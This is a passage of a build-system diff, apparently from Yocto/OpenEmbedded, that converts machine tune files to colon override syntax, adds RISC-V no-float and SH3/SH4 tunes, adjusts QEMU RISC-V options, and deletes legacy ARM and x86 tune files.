+LINKER_HASH_STYLE:libc-baremetal = ""
diff --git a/meta/conf/machine/include/riscv/qemuriscv.inc b/meta/conf/machine/include/riscv/qemuriscv.inc
index a42346f361..14eaf5d64a 100644
--- a/meta/conf/machine/include/riscv/qemuriscv.inc
+++ b/meta/conf/machine/include/riscv/qemuriscv.inc
@@ -10,6 +10,7 @@ KERNEL_IMAGETYPES += "uImage"
KEEPUIMAGE = "no"
SERIAL_CONSOLES ?= "115200;ttyS0 115200;hvc0"
+SERIAL_CONSOLES_CHECK = "${SERIAL_CONSOLES}"
IMAGE_FSTYPES += "ext4 wic.qcow2"
@@ -18,13 +19,14 @@ WKS_FILE ?= "qemuriscv.wks"
MACHINE_EXTRA_RRECOMMENDS += " kernel-modules"
EXTRA_IMAGEDEPENDS += "opensbi"
-RISCV_SBI_PLAT ?= "qemu/virt"
+RISCV_SBI_PLAT ?= "generic"
RISCV_SBI_PAYLOAD ?= "${KERNEL_IMAGETYPE}-${MACHINE}.bin"
-UBOOT_ENTRYPOINT_riscv32 = "0x80400000"
-UBOOT_ENTRYPOINT_riscv64 = "0x80200000"
+UBOOT_ENTRYPOINT:riscv32 = "0x80400000"
+UBOOT_ENTRYPOINT:riscv64 = "0x80200000"
# qemuboot options
+QB_SMP = "-smp 4"
QB_KERNEL_CMDLINE_APPEND = "earlycon=sbi"
QB_MACHINE = "-machine virt"
QB_DEFAULT_BIOS = "fw_jump.elf"
@@ -33,6 +35,5 @@ QB_NETWORK_DEVICE = "-device virtio-net-device,netdev=net0,mac=@MAC@"
QB_ROOTFS_OPT = "-drive id=disk0,file=@ROOTFS@,if=none,format=raw -device virtio-blk-device,drive=disk0"
QB_SERIAL_OPT = "-device virtio-serial-device -chardev null,id=virtcon -device virtconsole,chardev=virtcon"
QB_TCPSERIAL_OPT = " -device virtio-serial-device -chardev socket,id=virtcon,port=@PORT@,host=127.0.0.1 -device virtconsole,chardev=virtcon"
-# Add the 'virtio-rng-pci' device otherwise the guest may run out of entropy
-QB_OPT_APPEND = " -object rng-random,filename=/dev/urandom,id=rng0 -device virtio-rng-device,rng=rng0"
-
+QB_GRAPHICS = "-device bochs-display"
+QB_OPT_APPEND = "-device virtio-mouse-pci -device virtio-keyboard-pci"
diff --git a/meta/conf/machine/include/riscv/tune-riscv.inc b/meta/conf/machine/include/riscv/tune-riscv.inc
index 25d0463492..cc2896f277 100644
--- a/meta/conf/machine/include/riscv/tune-riscv.inc
+++ b/meta/conf/machine/include/riscv/tune-riscv.inc
@@ -3,17 +3,31 @@ require conf/machine/include/riscv/arch-riscv.inc
TUNEVALID[riscv64] = "Enable 64-bit RISC-V optimizations"
TUNEVALID[riscv32] = "Enable 32-bit RISC-V optimizations"
+TUNEVALID[riscv64nf] = "Enable 64-bit RISC-V optimizations no floating point"
+TUNEVALID[riscv32nf] = "Enable 32-bit RISC-V optimizations no floating point"
+
TUNEVALID[bigendian] = "Big endian mode"
-AVAILTUNES += "riscv64 riscv32"
+AVAILTUNES += "riscv64 riscv32 riscv64nf riscv32nf"
+
+# Default
+TUNE_FEATURES:tune-riscv64 = "riscv64"
+TUNE_ARCH:tune-riscv64 = "riscv64"
+TUNE_PKGARCH:tune-riscv64 = "riscv64"
+PACKAGE_EXTRA_ARCHS:tune-riscv64 = "riscv64"
-TUNE_FEATURES_tune-riscv64 = "riscv64"
-TUNE_ARCH_tune-riscv64 = "riscv64"
-TUNE_PKGARCH_tune-riscv64 = "riscv64"
-PACKAGE_EXTRA_ARCHS_tune-riscv64 = "riscv64"
+TUNE_FEATURES:tune-riscv32 = "riscv32"
+TUNE_ARCH:tune-riscv32 = "riscv32"
+TUNE_PKGARCH:tune-riscv32 = "riscv32"
+PACKAGE_EXTRA_ARCHS:tune-riscv32 = "riscv32"
-TUNE_FEATURES_tune-riscv32 = "riscv32"
-TUNE_ARCH_tune-riscv32 = "riscv32"
-TUNE_PKGARCH_tune-riscv32 = "riscv32"
-PACKAGE_EXTRA_ARCHS_tune-riscv32 = "riscv32"
+# No float
+TUNE_FEATURES:tune-riscv64nf = "${TUNE_FEATURES:tune-riscv64} riscv64nf"
+TUNE_ARCH:tune-riscv64nf = "riscv64"
+TUNE_PKGARCH:tune-riscv64nf = "riscv64nf"
+PACKAGE_EXTRA_ARCHS:tune-riscv64nf = "riscv64nf"
+TUNE_FEATURES:tune-riscv32nf = "${TUNE_FEATURES:tune-riscv32} riscv32nf"
+TUNE_ARCH:tune-riscv32nf = "riscv32"
+TUNE_PKGARCH:tune-riscv32nf = "riscv32nf"
+PACKAGE_EXTRA_ARCHS:tune-riscv32nf = "riscv32nf"
diff --git a/meta/conf/machine/include/sh/README b/meta/conf/machine/include/sh/README
index b351acdd28..87d48b927b 100644
--- a/meta/conf/machine/include/sh/README
+++ b/meta/conf/machine/include/sh/README
@@ -5,7 +5,7 @@ Both big endian and little endian are defined for SH.
Experimental -- SH tunings have not been validated.
-The TUNE_ARCH is defined as ${TUNE_ARCH_tune-${DEFAULTTUNE}}.
+The TUNE_ARCH is defined as ${TUNE_ARCH:tune-${DEFAULTTUNE}}.
-The TUNE_PKGARCH is defind as ${TUNE_PKGARCH_tune-${DEFAULTTUNE}}.
+The TUNE_PKGARCH is defind as ${TUNE_PKGARCH:tune-${DEFAULTTUNE}}.
diff --git a/meta/conf/machine/include/sh/arch-sh.inc b/meta/conf/machine/include/sh/arch-sh.inc
index bdfbf52ca1..9d70e8511d 100644
--- a/meta/conf/machine/include/sh/arch-sh.inc
+++ b/meta/conf/machine/include/sh/arch-sh.inc
@@ -2,8 +2,8 @@
DEFAULTTUNE ?= "sh"
-TUNE_ARCH = "${TUNE_ARCH_tune-${DEFAULTTUNE}}"
-TUNE_PKGARCH = "${TUNE_PKGARCH_tune-${DEFAULTTUNE}}"
+TUNE_ARCH = "${TUNE_ARCH:tune-${DEFAULTTUNE}}"
+TUNE_PKGARCH = "${TUNE_PKGARCH:tune-${DEFAULTTUNE}}"
TUNEVALID[bigendian] = "Enabled big-endian mode."
TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'bigendian', ' -mb', ' -ml', d)}"
diff --git a/meta/conf/machine/include/sh/tune-sh3.inc b/meta/conf/machine/include/sh/tune-sh3.inc
new file mode 100644
index 0000000000..77d0b71fc4
--- /dev/null
+++ b/meta/conf/machine/include/sh/tune-sh3.inc
@@ -0,0 +1,17 @@
+DEFAULTTUNE ?= "sh3"
+
+require conf/machine/include/sh/arch-sh.inc
+
+TUNEVALID[sh3] = "Enable SH3 optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'sh3', ' -m3', '', d)}"
+
+AVAILTUNES += "sh3 sh3eb"
+TUNE_FEATURES:tune-sh3 = "sh3"
+TUNE_ARCH:tune-sh3 = "sh3"
+TUNE_PKGARCH:tune-sh3 = "sh3"
+PACKAGE_EXTRA_ARCHS:tune-sh3 = "sh sh3"
+
+TUNE_FEATURES:tune-sh3eb = "sh3 bigendian"
+TUNE_ARCH:tune-sh3eb = "sh3eb"
+TUNE_PKGARCH:tune-sh3eb = "sh3eb"
+PACKAGE_EXTRA_ARCHS:tune-sh3eb = "sheb sh3eb"
diff --git a/meta/conf/machine/include/sh/tune-sh4.inc b/meta/conf/machine/include/sh/tune-sh4.inc
new file mode 100644
index 0000000000..b4893a4748
--- /dev/null
+++ b/meta/conf/machine/include/sh/tune-sh4.inc
@@ -0,0 +1,34 @@
+DEFAULTTUNE ?= "sh4"
+
+# Pull in sh4 for compatibility...
+require conf/machine/include/sh/arch-sh.inc
+
+TUNEVALID[sh4] = "Enable SH4 optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'sh4', ' -m4', '', d)}"
+
+# NOTE: If you want to optimize to sh4a, conf/machine/include/sh/tune-sh4a.inc.
+# But it is not compatible for sh4.
+# The binary optimized by m4a doesn't operate on sh4. It works on sh4a only.
+TUNEVALID[sh4a] = "Enable SH4a optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'sh4a', ' -m4a', '', d)}"
+
+AVAILTUNES += "sh4 sh4eb sh4a sh4aeb"
+TUNE_FEATURES:tune-sh4 = "sh4"
+TUNE_ARCH:tune-sh4 = "sh4"
+TUNE_PKGARCH:tune-sh4 = "sh4"
+PACKAGE_EXTRA_ARCHS:tune-sh4 = "sh sh4"
+
+TUNE_FEATURES:tune-sh4eb = "sh4 bigendian"
+TUNE_ARCH:tune-sh4eb = "sh4eb"
+TUNE_PKGARCH:tune-sh4eb = "sh4eb"
+PACKAGE_EXTRA_ARCHS:tune-sh4eb = "sheb sh4eb"
+
+TUNE_FEATURES:tune-sh4a = "sh4a"
+TUNE_ARCH:tune-sh4a = "sh4"
+TUNE_PKGARCH:tune-sh4a = "sh4a"
+PACKAGE_EXTRA_ARCHS:tune-sh4a = "sh sh4 sh4a"
+
+TUNE_FEATURES:tune-sh4aeb = "sh4a bigendian"
+TUNE_ARCH:tune-sh4aeb = "sh4eb"
+TUNE_PKGARCH:tune-sh4aeb = "sh4aeb"
+PACKAGE_EXTRA_ARCHS:tune-sh4aeb = "sheb sh4eb sh4aeb"
diff --git a/meta/conf/machine/include/tune-arm1136jf-s.inc b/meta/conf/machine/include/tune-arm1136jf-s.inc
deleted file mode 100644
index b25995d495..0000000000
--- a/meta/conf/machine/include/tune-arm1136jf-s.inc
+++ /dev/null
@@ -1,16 +0,0 @@
-DEFAULTTUNE ?= "armv6hf"
-
-require conf/machine/include/arm/arch-armv6.inc
-
-TUNEVALID[arm1136jfs] = "Enable arm1136jfs specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'arm1136jfs', ' -mcpu=arm1136jf-s', '', d)}"
-MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'arm1136jfs', 'armv6:', '' ,d)}"
-
-AVAILTUNES += "arm1136jfs arm1136jfshf"
-ARMPKGARCH_tune-arm1136jfs = "arm1136jfs"
-ARMPKGARCH_tune-arm1136jfshf = "arm1136jfs"
-# mcpu is used so don't use armv6 as we don't want march
-TUNE_FEATURES_tune-arm1136jfs = "arm arm1136jfs"
-TUNE_FEATURES_tune-arm1136jfshf = "${TUNE_FEATURES_tune-arm1136jfs} callconvention-hard"
-PACKAGE_EXTRA_ARCHS_tune-arm1136jfs = "${PACKAGE_EXTRA_ARCHS_tune-armv6} arm1136jfs-vfp"
-PACKAGE_EXTRA_ARCHS_tune-arm1136jfshf = "${PACKAGE_EXTRA_ARCHS_tune-armv6hf} arm1136jfshf-vfp"
diff --git a/meta/conf/machine/include/tune-arm1176jz-s.inc b/meta/conf/machine/include/tune-arm1176jz-s.inc
deleted file mode 100644
index c741e80521..0000000000
--- a/meta/conf/machine/include/tune-arm1176jz-s.inc
+++ /dev/null
@@ -1,17 +0,0 @@
-DEFAULTTUNE ?= "arm1176jzs"
-
-require conf/machine/include/arm/arch-armv6.inc
-
-TUNEVALID[arm1176jzs] = "Enable arm1176jzs specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'arm1176jzs', ' -mcpu=arm1176jz-s', '', d)}"
-MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'arm1176jzs', 'armv6:', '' ,d)}"
-
-AVAILTUNES += "arm1176jzs"
-ARMPKGARCH_tune-arm1176jzs = "arm1176jzs"
-TUNE_FEATURES_tune-arm1176jzs = "arm thumb arm1176jzs"
-PACKAGE_EXTRA_ARCHS_tune-arm1176jzs = "${PACKAGE_EXTRA_ARCHS_tune-armv6tb-novfp} arm1176jzs arm1176jzst"
-
-AVAILTUNES += "arm1176jzs-be"
-ARMPKGARCH_tune-arm1176jzs-be = "${ARMPKGARCH_tune-arm1176jzs}"
-TUNE_FEATURES_tune-arm1176jzs-be = "${TUNE_FEATURES_tune-arm1176jzs} bigendian"
-PACKAGE_EXTRA_ARCHS_tune-arm1176jzs-be = "${PACKAGE_EXTRA_ARCHS_tune-armv6tb-novfp} arm1176jzsb arm1176jzstb"
diff --git a/meta/conf/machine/include/tune-arm920t.inc b/meta/conf/machine/include/tune-arm920t.inc
deleted file mode 100644
index 42e8ed2b51..0000000000
--- a/meta/conf/machine/include/tune-arm920t.inc
+++ /dev/null
@@ -1,13 +0,0 @@
-DEFAULTTUNE ?= "armv4t"
-
-require conf/machine/include/arm/arch-armv4.inc
-
-TUNEVALID[arm920t] = "Enable arm920t specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'arm920t', ' -mcpu=arm920t', '', d)}"
-MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'arm920t', 'armv4:', '' ,d)}"
-
-AVAILTUNES += "arm920t"
-ARMPKGARCH_tune-arm920t = "arm920t"
-# mcpu is used so don't use armv4t as we don't want march
-TUNE_FEATURES_tune-arm920t = "arm thumb arm920t"
-PACKAGE_EXTRA_ARCHS_tune-arm920t = "${PACKAGE_EXTRA_ARCHS_tune-armv4t} arm920t arm920tt"
diff --git a/meta/conf/machine/include/tune-arm926ejs.inc b/meta/conf/machine/include/tune-arm926ejs.inc
deleted file mode 100644
index 563d53bc4e..0000000000
--- a/meta/conf/machine/include/tune-arm926ejs.inc
+++ /dev/null
@@ -1,13 +0,0 @@
-DEFAULTTUNE ?= "armv5te"
-
-require conf/machine/include/arm/arch-armv5-dsp.inc
-
-TUNEVALID[arm926ejs] = "Enable arm926ejs specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'arm926ejs', ' -mcpu=arm926ej-s', '', d)}"
-MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'arm926ejs', 'armv5:', '' ,d)}"
-
-AVAILTUNES += "arm926ejs"
-ARMPKGARCH_tune-arm926ejs = "arm926ejs"
-# mcpu is used so don't use armv5te as we don't want march
-TUNE_FEATURES_tune-arm926ejs = "arm thumb dsp arm926ejs"
-PACKAGE_EXTRA_ARCHS_tune-arm926ejs = "${PACKAGE_EXTRA_ARCHS_tune-armv5te} arm926ejste arm926ejse"
diff --git a/meta/conf/machine/include/tune-arm9tdmi.inc b/meta/conf/machine/include/tune-arm9tdmi.inc
deleted file mode 100644
index e03a8b86a0..0000000000
--- a/meta/conf/machine/include/tune-arm9tdmi.inc
+++ /dev/null
@@ -1,13 +0,0 @@
-DEFAULTTUNE ?= "armv4t"
-
-require conf/machine/include/arm/arch-armv4.inc
-
-TUNEVALID[arm9tdmi] = "Enable arm9tdmi specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'arm9tdmi', ' -mcpu=arm9tdmi', '', d)}"
-MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'arm9tdmi', 'armv4:', '' ,d)}"
-
-AVAILTUNES += "arm9tdmi"
-ARMPKGARCH_tune-arm9tdmi = "arm9tdmi"
-# mcpu is used so don't use armv4t as we don't want march
-TUNE_FEATURES_tune-arm9tdmi = "arm thumb arm9tdmi"
-PACKAGE_EXTRA_ARCHS_tune-arm9tdmi = "${PACKAGE_EXTRA_ARCHS_tune-armv4t} arm9tdmit"
diff --git a/meta/conf/machine/include/tune-atom.inc b/meta/conf/machine/include/tune-atom.inc
deleted file mode 100644
index 5e1bb74c6c..0000000000
--- a/meta/conf/machine/include/tune-atom.inc
+++ /dev/null
@@ -1,2 +0,0 @@
-# Atom tunings are the same as core2 for now...
-require conf/machine/include/tune-core2.inc
diff --git a/meta/conf/machine/include/tune-c3.inc b/meta/conf/machine/include/tune-c3.inc
deleted file mode 100644
index 1b272b2505..0000000000
--- a/meta/conf/machine/include/tune-c3.inc
+++ /dev/null
@@ -1,12 +0,0 @@
-require conf/machine/include/x86/arch-x86.inc
-
-TUNEVALID[c3] = "VIA Cyrix III or VIA C3 specific optimizations"
-TUNECONFLICTS[c3] = "m64 mx32"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'c3', ' -march=c3 -mtune=c3', '', d)}"
-
-AVAILTUNES += "c3"
-TUNE_FEATURES_tune-c3 = "${TUNE_FEATURES_tune-x86} c3"
-BASE_LIBS_tune-c3 = "${BASE_LIB_tune-x86}"
-# The following should likely be something other then i586...
-TUNE_PKGARCH_tune-c3 = "i586"
-PACKAGE_EXTRA_ARCHS_tune-c3 = "${PACKAGE_EXTRA_ARCHS_tune-x86} i386 i486 i586"
diff --git a/meta/conf/machine/include/tune-core2.inc b/meta/conf/machine/include/tune-core2.inc
deleted file mode 100644
index ddde719bde..0000000000
--- a/meta/conf/machine/include/tune-core2.inc
+++ /dev/null
@@ -1,38 +0,0 @@
-# Settings for the GCC(1) cpu-type "core2":
-#
-# Intel Core2 CPU with 64-bit extensions, MMX, SSE, SSE2, SSE3 and SSSE3
-# instruction set support.
-#
-# This tune is recommended for the Intel Core 2 CPU family, including Conroe,
-# Merom and beyond, as well as the first Atom CPUs, Diamondville, and beyond.
-#
-DEFAULTTUNE ?= "core2-32"
-
-# Include the previous tune to pull in PACKAGE_EXTRA_ARCHS
-require conf/machine/include/tune-i686.inc
-
-# Extra tune features
-TUNEVALID[core2] = "Enable core2 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'core2', ' -march=core2 -mtune=core2 -msse3 -mfpmath=sse', '', d)}"
-
-# Extra tune selections
-AVAILTUNES += "core2-32"
-TUNE_FEATURES_tune-core2-32 = "${TUNE_FEATURES_tune-x86} core2"
-BASE_LIB_tune-core2-32 = "lib"
-TUNE_PKGARCH_tune-core2-32 = "core2-32"
-PACKAGE_EXTRA_ARCHS_tune-core2-32 = "${PACKAGE_EXTRA_ARCHS_tune-i686} core2-32"
-QEMU_EXTRAOPTIONS_core2-32 = " -cpu n270"
-
-AVAILTUNES += "core2-64"
-TUNE_FEATURES_tune-core2-64 = "${TUNE_FEATURES_tune-x86-64} core2"
-BASE_LIB_tune-core2-64 = "lib64"
-TUNE_PKGARCH_tune-core2-64 = "core2-64"
-PACKAGE_EXTRA_ARCHS_tune-core2-64 = "${PACKAGE_EXTRA_ARCHS_tune-x86-64} core2-64"
-QEMU_EXTRAOPTIONS_core2-64 = " -cpu core2duo"
-
-AVAILTUNES += "core2-64-x32"
-TUNE_FEATURES_tune-core2-64-x32 = "${TUNE_FEATURES_tune-x86-64-x32} core2"
-BASE_LIB_tune-core2-64-x32 = "libx32"
-TUNE_PKGARCH_tune-core2-64-x32 = "core2-64-x32"
-PACKAGE_EXTRA_ARCHS_tune-core2-64-x32 = "${PACKAGE_EXTRA_ARCHS_tune-x86-64-x32} core2-64-x32"
-QEMU_EXTRAOPTIONS_core2-64-x32 = " -cpu core2duo"
diff --git a/meta/conf/machine/include/tune-corei7.inc b/meta/conf/machine/include/tune-corei7.inc
deleted file mode 100644
index d06af47b86..0000000000
--- a/meta/conf/machine/include/tune-corei7.inc
+++ /dev/null
@@ -1,38 +0,0 @@
-# Settings for the GCC(1) cpu-type "nehalem":
-#
-# Intel Nehalem CPU with 64-bit extensions, MMX, SSE, SSE2, SSE3, SSSE3, SSE4.1,
-# SSE4.2 and POPCNT instruction set support.
-#
-# This tune is recommended for Intel Nehalem and Silvermont (e.g. Bay Trail) CPUs
-# (and beyond).
-#
-DEFAULTTUNE ?= "corei7-64"
-
-# Include the previous tune to pull in PACKAGE_EXTRA_ARCHS
-require conf/machine/include/tune-core2.inc
-
-# Extra tune features
-TUNEVALID[corei7] = "Enable corei7 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'corei7', ' -march=nehalem -mtune=generic -mfpmath=sse -msse4.2', '', d)}"
-
-# Extra tune selections
-AVAILTUNES += "corei7-32"
-TUNE_FEATURES_tune-corei7-32 = "${TUNE_FEATURES_tune-x86} corei7"
-BASE_LIB_tune-corei7-32 = "lib"
-TUNE_PKGARCH_tune-corei7-32 = "corei7-32"
-PACKAGE_EXTRA_ARCHS_tune-corei7-32 = "${PACKAGE_EXTRA_ARCHS_tune-core2-32} corei7-32"
-QEMU_EXTRAOPTIONS_corei7-32 = " -cpu Nehalem,check=false"
-
-AVAILTUNES += "corei7-64"
-TUNE_FEATURES_tune-corei7-64 = "${TUNE_FEATURES_tune-x86-64} corei7"
-BASE_LIB_tune-corei7-64 = "lib64"
-TUNE_PKGARCH_tune-corei7-64 = "corei7-64"
-PACKAGE_EXTRA_ARCHS_tune-corei7-64 = "${PACKAGE_EXTRA_ARCHS_tune-core2-64} corei7-64"
-QEMU_EXTRAOPTIONS_corei7-64 = " -cpu Nehalem,check=false"
-
-AVAILTUNES += "corei7-64-x32"
-TUNE_FEATURES_tune-corei7-64-x32 = "${TUNE_FEATURES_tune-x86-64-x32} corei7"
-BASE_LIB_tune-corei7-64-x32 = "libx32"
-TUNE_PKGARCH_tune-corei7-64-x32 = "corei7-64-x32"
-PACKAGE_EXTRA_ARCHS_tune-corei7-64-x32 = "${PACKAGE_EXTRA_ARCHS_tune-core2-64-x32} corei7-64-x32"
-QEMU_EXTRAOPTIONS_corei7-64-x32 = " -cpu Nehalem,check=false"
diff --git a/meta/conf/machine/include/tune-cortexa15.inc b/meta/conf/machine/include/tune-cortexa15.inc
deleted file mode 100644
index d53403af35..0000000000
--- a/meta/conf/machine/include/tune-cortexa15.inc
+++ /dev/null
@@ -1,51 +0,0 @@
-DEFAULTTUNE ?= "armv7vethf-neon"
-
-require conf/machine/include/arm/arch-armv7ve.inc
-
-TUNEVALID[cortexa15] = "Enable Cortex-A15 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa15', ' -mcpu=cortex-a15', '', d)}"
-MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'cortexa15', 'armv7ve:', '' ,d)}"
-
-# Little Endian base configs
-AVAILTUNES += "cortexa15 cortexa15t cortexa15-neon cortexa15t-neon cortexa15-neon-vfpv4 cortexa15t-neon-vfpv4"
-ARMPKGARCH_tune-cortexa15 = "cortexa15"
-ARMPKGARCH_tune-cortexa15t = "cortexa15"
-ARMPKGARCH_tune-cortexa15-neon = "cortexa15"
-ARMPKGARCH_tune-cortexa15t-neon = "cortexa15"
-ARMPKGARCH_tune-cortexa15-neon-vfpv4 = "cortexa15"
-ARMPKGARCH_tune-cortexa15t-neon-vfpv4 = "cortexa15"
-# mcpu is used so don't use armv7ve as we don't want march
-TUNE_FEATURES_tune-cortexa15 = "arm vfp cortexa15"
-TUNE_FEATURES_tune-cortexa15t = "${TUNE_FEATURES_tune-cortexa15} thumb"
-TUNE_FEATURES_tune-cortexa15-neon = "${TUNE_FEATURES_tune-cortexa15} neon"
-TUNE_FEATURES_tune-cortexa15t-neon = "${TUNE_FEATURES_tune-cortexa15-neon} thumb"
-TUNE_FEATURES_tune-cortexa15-neon-vfpv4 = "${TUNE_FEATURES_tune-cortexa15-neon} vfpv4"
-TUNE_FEATURES_tune-cortexa15t-neon-vfpv4 = "${TUNE_FEATURES_tune-cortexa15-neon-vfpv4} thumb"
-PACKAGE_EXTRA_ARCHS_tune-cortexa15 = "${PACKAGE_EXTRA_ARCHS_tune-armv7ve} cortexa15-vfp"
-PACKAGE_EXTRA_ARCHS_tune-cortexa15t = "${PACKAGE_EXTRA_ARCHS_tune-armv7vet} cortexa15-vfp cortexa15t2-vfp"
-PACKAGE_EXTRA_ARCHS_tune-cortexa15-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7ve-neon} cortexa15-vfp cortexa15-neon"
-PACKAGE_EXTRA_ARCHS_tune-cortexa15t-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7vet-neon} cortexa15-vfp cortexa15-neon cortexa15t2-vfp cortexa15t2-neon"
-PACKAGE_EXTRA_ARCHS_tune-cortexa15-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7ve-neon-vfpv4} cortexa15-vfp cortexa15-neon cortexa15-neon-vfpv4"
-PACKAGE_EXTRA_ARCHS_tune-cortexa15t-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vet-neon-vfpv4} cortexa15-vfp cortexa15-neon cortexa15-neon-vfpv4 cortexa15t2-vfp cortexa15t2-neon cortexa15t2-neon-vfpv4"
-
-# HF Tunes
-AVAILTUNES += "cortexa15hf cortexa15thf cortexa15hf-neon cortexa15thf-neon cortexa15hf-neon-vfpv4 cortexa15thf-neon-vfpv4"
-ARMPKGARCH_tune-cortexa15hf = "cortexa15"
-ARMPKGARCH_tune-cortexa15thf = "cortexa15"
-ARMPKGARCH_tune-cortexa15hf-neon = "cortexa15"
-ARMPKGARCH_tune-cortexa15thf-neon = "cortexa15"
-ARMPKGARCH_tune-cortexa15hf-neon-vfpv4 = "cortexa15"
-ARMPKGARCH_tune-cortexa15thf-neon-vfpv4 = "cortexa15"
-# mcpu is used so don't use armv7ve as we don't want march
-TUNE_FEATURES_tune-cortexa15hf = "${TUNE_FEATURES_tune-cortexa15} callconvention-hard"
-TUNE_FEATURES_tune-cortexa15thf = "${TUNE_FEATURES_tune-cortexa15t} callconvention-hard"
-TUNE_FEATURES_tune-cortexa15hf-neon = "${TUNE_FEATURES_tune-cortexa15-neon} callconvention-hard"
-TUNE_FEATURES_tune-cortexa15thf-neon = "${TUNE_FEATURES_tune-cortexa15t-neon} callconvention-hard"
-TUNE_FEATURES_tune-cortexa15hf-neon-vfpv4 = "${TUNE_FEATURES_tune-cortexa15-neon-vfpv4} callconvention-hard"
-TUNE_FEATURES_tune-cortexa15thf-neon-vfpv4 = "${TUNE_FEATURES_tune-cortexa15t-neon-vfpv4} callconvention-hard"
-PACKAGE_EXTRA_ARCHS_tune-cortexa15hf = "${PACKAGE_EXTRA_ARCHS_tune-armv7vehf} cortexa15hf-vfp"
-PACKAGE_EXTRA_ARCHS_tune-cortexa15thf = "${PACKAGE_EXTRA_ARCHS_tune-armv7vethf} cortexa15hf-vfp cortexa15t2hf-vfp"
-PACKAGE_EXTRA_ARCHS_tune-cortexa15hf-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7vehf-neon} cortexa15hf-vfp cortexa15hf-neon"
-PACKAGE_EXTRA_ARCHS_tune-cortexa15thf-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7vethf-neon} cortexa15hf-vfp cortexa15hf-neon cortexa15t2hf-vfp cortexa15t2hf-neon"
-PACKAGE_EXTRA_ARCHS_tune-cortexa15hf-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vehf-neon-vfpv4} cortexa15hf-vfp cortexa15hf-neon cortexa15hf-neon-vfpv4"
-PACKAGE_EXTRA_ARCHS_tune-cortexa15thf-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vethf-neon-vfpv4} cortexa15hf-vfp cortexa15hf-neon cortexa15hf-neon-vfpv4 cortexa15t2hf-vfp cortexa15t2hf-neon cortexa15t2hf-neon-vfpv4"
diff --git a/meta/conf/machine/include/tune-cortexa17.inc b/meta/conf/machine/include/tune-cortexa17.inc
deleted file mode 100644
index 3ffc02bf9f..0000000000
--- a/meta/conf/machine/include/tune-cortexa17.inc
+++ /dev/null
@@ -1,51 +0,0 @@
-DEFAULTTUNE ?= "armv7vethf-neon"
-
-require conf/machine/include/arm/arch-armv7ve.inc
-
-TUNEVALID[cortexa17] = "Enable Cortex-A17 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa17', ' -mcpu=cortex-a17', '', d)}"
-MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'cortexa17', 'armv7ve:', '' ,d)}"
-
-# Little Endian base configs
-AVAILTUNES += "cortexa17 cortexa17t cortexa17-neon cortexa17t-neon cortexa17-neon-vfpv4 cortexa17t-neon-vfpv4"
-ARMPKGARCH_tune-cortexa17 = "cortexa17"
-ARMPKGARCH_tune-cortexa17t = "cortexa17"
-ARMPKGARCH_tune-cortexa17-neon = "cortexa17"
-ARMPKGARCH_tune-cortexa17t-neon = "cortexa17"
-ARMPKGARCH_tune-cortexa17-neon-vfpv4 = "cortexa17"
-ARMPKGARCH_tune-cortexa17t-neon-vfpv4 = "cortexa17"
-# mcpu is used so don't use armv7ve as we don't want march
-TUNE_FEATURES_tune-cortexa17 = "arm vfp cortexa17"
-TUNE_FEATURES_tune-cortexa17t = "${TUNE_FEATURES_tune-cortexa17} thumb"
-TUNE_FEATURES_tune-cortexa17-neon = "${TUNE_FEATURES_tune-cortexa17} neon"
-TUNE_FEATURES_tune-cortexa17t-neon = "${TUNE_FEATURES_tune-cortexa17-neon} thumb"
-TUNE_FEATURES_tune-cortexa17-neon-vfpv4 = "${TUNE_FEATURES_tune-cortexa17-neon} vfpv4"
-TUNE_FEATURES_tune-cortexa17t-neon-vfpv4 = "${TUNE_FEATURES_tune-cortexa17-neon-vfpv4} thumb"
-PACKAGE_EXTRA_ARCHS_tune-cortexa17 = "${PACKAGE_EXTRA_ARCHS_tune-armv7ve} cortexa17-vfp"
-PACKAGE_EXTRA_ARCHS_tune-cortexa17t = "${PACKAGE_EXTRA_ARCHS_tune-armv7vet} cortexa17-vfp cortexa17t2-vfp"
-PACKAGE_EXTRA_ARCHS_tune-cortexa17-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7ve-neon} cortexa17-vfp cortexa17-neon"
-PACKAGE_EXTRA_ARCHS_tune-cortexa17t-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7vet-neon} cortexa17-vfp cortexa17-neon cortexa17t2-vfp cortexa17t2-neon"
